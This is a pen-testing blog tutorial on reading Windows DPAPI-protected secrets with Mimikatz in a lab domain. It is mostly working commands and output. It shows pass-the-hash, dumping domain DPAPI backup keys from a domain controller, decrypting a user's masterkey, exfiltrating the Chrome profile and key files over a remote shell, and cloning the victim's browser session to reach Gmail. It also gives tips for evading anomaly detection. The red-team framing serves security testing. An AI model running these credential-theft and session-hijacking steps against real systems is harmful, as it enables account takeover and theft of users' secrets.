Reading DPAPI Encrypted Keys with MimiKatz
As you may already know, when a penetration test or Red Team exercise in being executed, it is important to define the objective of the project. Sometimes it is not enough to get Domain Admin privileges, so the objective may instead be defined as access to a particular network segment or a user’s workstation where credentials and sensitive information could be stored. For the purposes of this example, we’ll make the latter our main objective. With this in mind, let’s discuss the role DPAPI keys can play in such an attack.
Reading DPAPI keys could allow a potential attacker to persist “laterally” on cloud services, eliminating the need to keep access to the compromised victim’s workstation. This is another way an attacker could be able to obtain information from sensitive services, like Office 365 email services, shared documents, team chat services (slack, Microsoft teams), etc.
This article is focused on describing several techniques for reading DPAPI keys, including DPAPI backup keys from domain controllers. Reading DPAPI keys can ultimately help to gain access to the secrets of any user within the domain, either by compromising the victim’s workstation or through using domain controllers, once Domain Admin privileges are obtained.
To give us some context, let’s define a hypothetical scenario as a starting point:
- We have an initial foothold in a target’s domain environment.
- We have access to Domain Admin credentials and/or hashes.
- We want to get access to a specific user’s credentials stored in Google Chrome, including history and cookies.
With this information in mind, let’s walk through a few strategies. The first scenario is the more common approach of compromising the victim’s workstation and executing Mimikatz in the context of the compromised user. The second scenario provides an alternate method, compromising the company domain (obtaining Domain Admin privileges by any means) while possessing access to the domain backup keys, enabling the decryption of any user’s masterkey.
The Common Approach: Reading Cookies and Secrets from the System
In the first scenario, let’s assume we have already compromised the target’s workstation through phishing or some other means. In this case, our objective is to obtain the masterkey to get access to credentials and cookies stored by Google Chrome. To do this, we need to execute the following Mimikatz command in the context of the user on the compromised workstation:
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect
The /unprotect
flag is used to display cookie values.
A similar command can be executed to obtain saved credentials for Google Chrome:
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
With these two Mimikatz commands, a user’s secrets, which are password protected, are decrypted with a user’s masterkey. They are accessible because Mimikatz is being executed in the context of the user.
However, there are limitations to this attack. The main one is that the Mimikatz binary needs to be uploaded to the target’s computer. This involves a certain amount of evasion techniques, considering antivirus software and endpoint detection and response (EDR) solutions may be installed on the target machine. Despite these limitations, this attack could still be feasible, depending on the circumstances.
There are a few important conclusions to enumerate about this approach:
- Mimikatz works with
psexec
. But you still need to upload Mimikatz to the target first. This is not trivial if you have to avoid antivirus software or EDRs. - If you executed Mimikatz using
psexec
, it is not possible to extract Google Chrome Cookies and Credentials. Mimikatz will be running in the context ofSYSTEM
and not in the context of the victim's domain user. Therefore, you are probably going to get the following error:
ERROR kuhl_m_dpapi_chrome_decrypt ; No Alg and/or Key handle despite AES encryption.
Mimikatz can't find the specific key from memory because it is not running under the user context. However, it is possible to resolve this error. Since you are running as SYSTEM, you might be able to read masterkeys from memory using Mimikatz DPAPI module:
sekurlsa::dpapi
With the previous command, Mimikatz can get the masterkeys from memory in that particular system. Then, it is necessary to identify the key of the user whose secrets you want to decrypt.
For this example, we’ll target the user CORE\kbell
. In this case the masterkey is 9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b
.
Now the same command as before should be executed once more. However, this time we can specify the masterkey:
dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca 0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b
It works, and we are now able to decrypt cookies values. If those cookies are valid, we can probably hijack the user session.
A Different Approach: Mimikatz and the Domain Controller
The first scenario we described is fairly well known, but has the major limitation of having to upload Mimikatz to the compromised workstation. However, there is another way of executing Mimikatz without having to upload Mimikatz binary. To achieve this, we need to have a Windows machine owned by the pen tester (assuming that Mimikatz is going to be executed on this computer). Additionally, the Windows machine should be able to reach company Domain Controller/s.
Opening cmd.exe in the Context of a Domain User
It is possible to run Mimikatz in our controlled Windows computer in the context of a domain user. In other words, we are able to run Mimikatz in a Windows machine that is not joined to the domain.
First, we’ll need to open a cmd.exe
in the context of a domain user. In this example, the user is core.internal\administrator
:
runas /netonly /u:"core.internal\administrator" cmd.exe
Note: It is important to remember that this approach requires a password. As a prerequisite, you need to obtain a valid password first.
Alternately, if you can’t crack the password, you could use the associated NTLM hash. If you have the NTLM hash of the Domain Admin user, for example, you can use it with Mimikatz with the "pass-the-hash" feature. This means you only need the NTLM hash of the domain user you want to impersonate:
sekurlsa::pth /user:DA_ADMIN_USER /domain:FQDN.DOMAIN.LOCAL /ntlm:USER_NTLM_HASH
The following example shows how a new cmd.exe
process was executed in the context of the Domain Admin user core.internal\administrator
with Mimikatz:
Dumping Backup Keys
It is possible to export the backup keys from the Domain Controller. To begin, let’s provide a short explanation of what the backup keys are.
The Data Protection API (DPAPI) is used by several components of the operating system to securely store passwords, encryption keys or any other type of sensitive data. This mechanism can be also used in a domain environment. In that case, a copy of user’s masterkey is encrypted with the DPAPI Domain Backup Key that is known to all domain controllers.
This means that by using the DPAPI Domain Backup Keys, it is possible to access to any domain user masterkey. This allows a potential attacker to decrypt any user’s secrets stored in the context of the domain.
To get the backup keys with Mimikatz, execute the following command:
lsadump::backupkeys /system:DOMAIN-CONTROLLER-HOSTNAME /export
In this example, observe that dc01.core.internal
(domain controller DC01
) is used.
The important file in the example above is ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk
. The .pvk
extension means "private key,” which means that's the file that is going to be used for decrypting the target user’s secrets.
Stealing Domain Users’ Sessions in Google Chrome
A good way to understand this attack is to recreate what we could do in a real scenario. Let’s assume we compromised the workstation of user core.internal\kbell
, who is the IT director of the company. Since we are going to need to compress some files, let's get 7zip in its portable version and prepare the executable to be uploaded.
Remember, at this point in the scenario, it is assumed we already have Domain Admin privileges, since we got the backup keys from the Domain Controller in the previous step.
We’ll first need to get a shell using wmiexec.py
or some other means. Then, we can upload the 7za.exe
file:
C:\users\kbell\desktop>put /home/rifle/Tools/windows-binaries/7za.exe . [*] Uploading 7za.exe to C:\users\kbell\desktop\.\7za.exe C:\users\kbell\desktop>dir 7za.exe Volume in drive C has no label. Volume Serial Number is 36A0-B333 Directory of C:\users\kbell\desktop 04/21/2020 09:17 PM 1,152,000 7za.exe 1 File(s) 1,152,000 bytes 0 Dir(s) 2,841,632,768 bytes free
Then, we’ll backup the entire Google Chrome folder in a zip file. This command may take some time depending on how big are the files (the victim could have a big web history):
C:\users\kbell\desktop> 7za.exe a C:\Windows\Temp\google.zip "C:\Users\kbell\AppData\Local\Google\Chrome\User Data\" 7-Zip (a) 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21 Scanning the drive: 583 folders, 1156 files, 163464925 bytes (156 MiB) Creating archive: C:\Windows\Temp\google.zip Add new data to archive: 583 folders, 1156 files, 163464925 bytes (156 MiB) Files read from disk: 1156 Archive size: 69634627 bytes (67 MiB) Everything is Ok
In this example, we are copying the whole folder because we are interested in everything, including bookmarks, history, etc. However, the important files containing the juicy, sensitive data are the following:
C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Local State
(This is one file.)
C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Default\*
(This folder includes multiple files, including theCookies
file.)
Now we can download the zip file containing all the victim’s Chrome files:
C:\users\kbell\desktop>get C:\Windows\Temp\google.zip [*] Downloading C:\\Windows\Temp\google.zip
Next, we’ll need the keys from %appdata%
directory, located in the following path:
C:\Users\USERNAME\AppData\Roaming\Microsoft\Protect\SID
The SID
stands for Security Identifier, for example S-1-5-21-1968630676-249568448-1092335803-4255
. Additionally, note that all the files inside this folder are hidden, so use dir /a
to list them.
We’ll also back up this folder, since we’ll need it later on.
C:\users\kbell\appdata\Roaming\Microsoft\Protect>dir /a Volume in drive C has no label. Volume Serial Number is 36A0-B333 Directory of C:\users\kbell\appdata\Roaming\Microsoft\Protect 04/11/2020 06:14 PM <DIR> . 04/11/2020 06:14 PM <DIR> .. 04/11/2020 06:14 PM 24 CREDHIST 04/11/2020 06:14 PM <DIR> S-1-5-21-1968630676-249568448-1092335803-4255 04/11/2020 06:14 PM 76 SYNCHIST 2 File(s) 100 bytes 3 Dir(s) 2,840,129,536 bytes free C:\users\kbell\appdata\Roaming\Microsoft\Protect>C:\Users\kbell\Desktop\7za.exe a C:\Windows\Temp\keys.zip S-1-5-21-1968630676-249568448-1092335803-4255\ 7-Zip (a) 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21 Scanning the drive: 1 folder, 3 files, 1676 bytes (2 KiB) Creating archive: C:\Windows\Temp\keys.zip Add new data to archive: 1 folder, 3 files, 1676 bytes (2 KiB) Files read from disk: 3 Archive size: 2571 bytes (3 KiB) Everything is Ok
Next, let's download the zip file we just created:
C:\users\kbell\appdata\Roaming\Microsoft\Protect>get C:\Windows\Temp\keys.zip[*] Downloading C:\\Windows\Temp\keys.zip
Cloning the Google Chrome Victim's Session
Naturally, the first thing to make sure of is that we have Google Chrome installed. Next, we need to copy all the newly obtained files to our machine. As an extra precaution, it is a good idea to use a virtual machine with a VPN set in the same location as the victim. There may be behavioral analytics and anomaly detection defenses in place, which would flag a connection made from a new or unusual location.
Now we have to go to the exact same folders and replace the files. You can replace the entire User Data folder, which is the fastest and easiest method. However, if you only downloaded the required files specified before, just replace those files inside Google Chrome folder on your computer.
To continue with the process, let’s move the key file to the same folder where you have mimikatz.exe
. While not mandatory, it does make the execution of the commands that follow simpler. Remember, since it is a system file, we should use the xcopy /H
command in order to copy the file or files.
C:\Users\rifle\Desktop\mimikatz_trunk\x64>xcopy /H S-1-5-21-1968630676-249568448- 1092335803-4255\98ec219d-d8c0-4d35-be33-8dca90bba887 C:\Users\rifle\Desktop\mimikatz_trunk\x64\ S-1-5-21-1968630676-249568448-1092335803-4255\98ec219d-d8c0-4d35-be33-8dca90bba887 1 File(s) copied
Decrypting the Victim's Masterkey Using the Domain Backup Keys
Now, using Mimikatz, we need to execute the following command in order to decrypt the user’s keys.
mimikatz # dpapi::masterkey /in:98ec219d-d8c0-4d35-be33-8dca90bba887 /pvk:ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk
Let's take a closer look at each of the parameters:
/in:98ec219d-d8c0-4d35-be33-8dca90bba887
: This is the masterkey stolen from the target machine. This is the file we copied before usingxcopy
. Technically speaking, this is the masterkey of the target user that is used to decrypt secrets stored in Google Chrome./pvk:ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk
: This is the backup key stolen from the domain controller. Here is the real magic of backup keys: As we mentioned before, thispvk
file (private key) can decrypt and open any masterkey of any domain user. Essentially, we can decrypt cookies and credentials of any domain user stored by Google Chrome.
Below is the output of the command:
mimikatz # dpapi::masterkey /in:98ec219d-d8c0-4d35-be33-8dca90bba887 /pvk:ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk **MASTERKEYS** dwVersion : 00000002 - 2 szGuid : {98ec219d-d8c0-4d35-be33-8dca90bba887} dwFlags : 00000000 - 0 dwMasterKeyLen : 00000088 - 136 dwBackupKeyLen : 00000068 - 104 dwCredHistLen : 00000000 - 0 dwDomainKeyLen : 00000174 - 372 [masterkey] **MASTERKEY** dwVersion : 00000002 - 2 salt : 139b2ddb0f6157e36c33354411933dbb rounds : 00004650 - 18000 algHash : 00008009 - 32777 (CALG_HMAC) algCrypt : 00006603 - 26115 (CALG_3DES) pbKey : 31665abe3bf63900f6578032f201160e895380a43b233cc532ff219cee8328 9187a2c64086c83884141cf5b5503f7be632da32e7dc4e09b74142e87faddcac00799ced7e044473fe7b2 fcaef30076ced3c53e7542d855c1e92bccbc04dbe4e8a1202ad1bb3c54bac [backupkey] **MASTERKEY** dwVersion : 00000002 - 2 salt : a1a13ca2f183652cbcf22f01eb3d2ea1 rounds : 00004650 - 18000 algHash : 00008009 - 32777 (CALG_HMAC) algCrypt : 00006603 - 26115 (CALG_3DES) pbKey : 7618cec63bdf186b14ecfcabf2f4494d6b2c124dfbacce3f4f50cb9b5de4dc11 984d8004204a70fbe8f2826e5cd1d2197dcd01d8e0084f44165c27cb99229d47cdc51bcb86ed0c8b [domainkey] **DOMAINKEY** dwVersion : 00000002 - 2 dwSecretLen : 00000100 - 256 dwAccesscheckLen : 00000058 - 88 guidMasterKey : {116e39f3-e091-4b58-88ff-8f232466b5d6} pbSecret : c576997e887abec3cd542eca7acb4eeb5d2a79bdd7ebecc7af3b5e2b7c36fd2f418a 67bb5f29efb886197a3de85ae1bee404dbd434da2ec43a55f200e3f8f6f9bd27d7e2193dfe62ee4a7a637445a3a 6410b0785b992afd9c1acbf560b97d1ebcba9efbd560236129a34b96b4e2f3895ba026e73afe3bbcc8bcdb95bbd 279d012da3d49e15c97996a41fd8ad1d59d3082d2d8f8cdf33d74a6ea27c89eba8efb9df072b6851ba5ba92886b 7323b073b141ff8391036337cf1a94abfb30a793be9025cd6ca44a02921ab201e47eeaa83f44ba375e2d30cc414 f127a541e74463d7c4f16b56a473ff56750f30793b3d65bf4fe3c80dcb4ec5de5774a364f483bb36 pbAccesscheck : 3da9473de0cc6c054448acda415a1c86a32e7db3a7c2359b9e55dda23c419b37f390 0bb53a15e02df75411c510abba59a43f71d0577871fa62d000598aa9232ec720a75719122d8900a4a37f986ff17 d5a30fe372809a1f2 [domainkey] with RSA private key key : 9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd 0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b sha1: f8b1f1f7cd3efdd4c07ef7b955ad27b254694fbe sid : S-1-5-21-1968630676-249568448-1092335803-4255
The important value obtained is the key (at the very end of the output). In our example, the key would be:
9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf 74743c81c1d32bbf10020c9d72d58c99e731814e4155b
This key corresponds to user core.internal\kbell
.
Final Round - Importing the Decrypted Key into Memory
Finally, at this point we have all the information required to recreate the state and context of the victim's Google Chrome on the computer under our control.
From the previous command output, we must copy the szGuid
value. In this case, the value is {98ec219d-d8c0-4d35-be33-8dca90bba887}
.
Now, to put the victim's key in memory we have to execute the following command:
mimikatz # dpapi::create /guid:{98ec219d-d8c0-4d35-be33-8dca90bba887} /key:9a6f199e3d2e698ce 78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72 d58c99e731814e4155b /password:pentest1122 /protected
The parameters are explained below:
/guid:{98ec219d-d8c0-4d35-be33-8dca90bba887}
: As noted earlier, this is the szGuid value obtained from the previously executed command./key:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b
: This is the victim's key, also obtained in the previous step./password:pentest1122
: This is the password of OUR USER in the attacker machine. It is NOT the victim’s password. Mimikatz needs our password to set the session correctly in our Windows machine.
We should get an output similar to the one below:
IMPORTANT NOTE: We should get and output of(hidden & system
): OK as the result of the previous command. This means that the new masterkey file was written correctly. If we get an error like (hidden & system): ERROR kuhl_m_dpapi_create
; kull_m_file_writeData (0x00000005)
, this means that we have the old copy of the masterkey in the same path where Mimikatz is trying to generate the new one. Mimikatz is not overwriting files. To fix this, we just need to delete or move the original masterkey file and then execute the specified command. Since it’s a hidden file, in order to delete it, we would use the following command:
del /a 98ec219d-d8c0-4d35-be33-8dca90bba887
After executing that command, we should be able to execute Mimikatz again and generate the file correctly.
Finally, we need to copy the generated file to the Microsoft folder in %appdata%
folder so the system can read the file.
xcopy /H C:\Users\rifle\Desktop\mimikatz_trunk\x64\98ec219d-d8c0-4d35-be33-8dca90bba887 C:\Users\rifle\AppData\Roaming\Microsoft\Protect\S-1-5-21-3317543668-4020658003-1568697172-1005\ C:\Users\rifle\AppData\Roaming\Microsoft\Protect\S-1-5-21-3317543668-4020658003-1568697172-1005>dir /a Volume in drive C has no label. Volume Serial Number is 36A0-B333 Directory of C:\Users\rifle\AppData\Roaming\Microsoft\Protect\S-1-5-21-3317543668-4020658003-1568697172-1005 04/21/2020 10:48 PM <DIR> . 04/21/2020 10:48 PM <DIR> .. 04/04/2020 05:33 PM 468 313b61dd-628c-4f0d-9a20-512e6739c77e 04/21/2020 10:45 PM 264 98ec219d-d8c0-4d35-be33-8dca90bba887 04/04/2020 05:33 PM 468 aa9b4e7e-72bc-44d1-a9a7-5c03e8e2bcac 04/18/2020 05:39 PM 468 db625e2f-2afd-4c87-ae15-4fdc06b24114 04/04/2020 05:33 PM 468 e45f6792-0158-499b-b063-fc050f4908d1 04/18/2020 05:39 PM 24 Preferred 6 File(s) 2,160 bytes 2 Dir(s) 5,424,898,048 bytes free
As is shown above, 98ec219d-d8c0-4d35-be33-8dca90bba887
is now in the \Microsoft\Protect\SID
folder of our computer (under the Windows local user).
Finally, we open Google Chrome...
…and VOILA!!!!!
We successfully cloned the victim's Google Chrome session. We now have access to the stored passwords, history, and bookmarks of the victim. The screenshot above shows how we are able to log into the victim’s Gmail account.
The point of this type of attack is that you, as a pen tester or red teamer, are going to be able to persist in cloud services without having to persist on victim’s workstation. This can be very helpful when the victim uses something like web-based password managers or a SSO portals to access different applications used by the company and his/her session cookies are still valid. Also, you can access all the saved passwords if the user did not protect them with the extra Chrome master password.
Conclusions
As pen testers, it’s useful to have more than one approach to successfully achieve your objective. Having an alternate strategy can help if you anticipate or come across any obstacles.
In this case, gaining access to the victim’s workstation may not be enough—more information could be needed to find and obtain sensitive information. In fact, it may be necessary to dig into the different services used by the company to find something useful. Imagine reading a Slack conversation where users share passwords and secrets or accessing shared documents in a cloud drive. In cases such as these, the second technique can be an ideal option obtain your objective.
Looking for More Pen Testing Tips and Tricks?
Read our series, Reversing and Exploiting With Free Tools and learn how to reverse and exploit using free and easy to get tools, such as IDA FREE, Radare, Windbg, X64dbg, or Ghidra.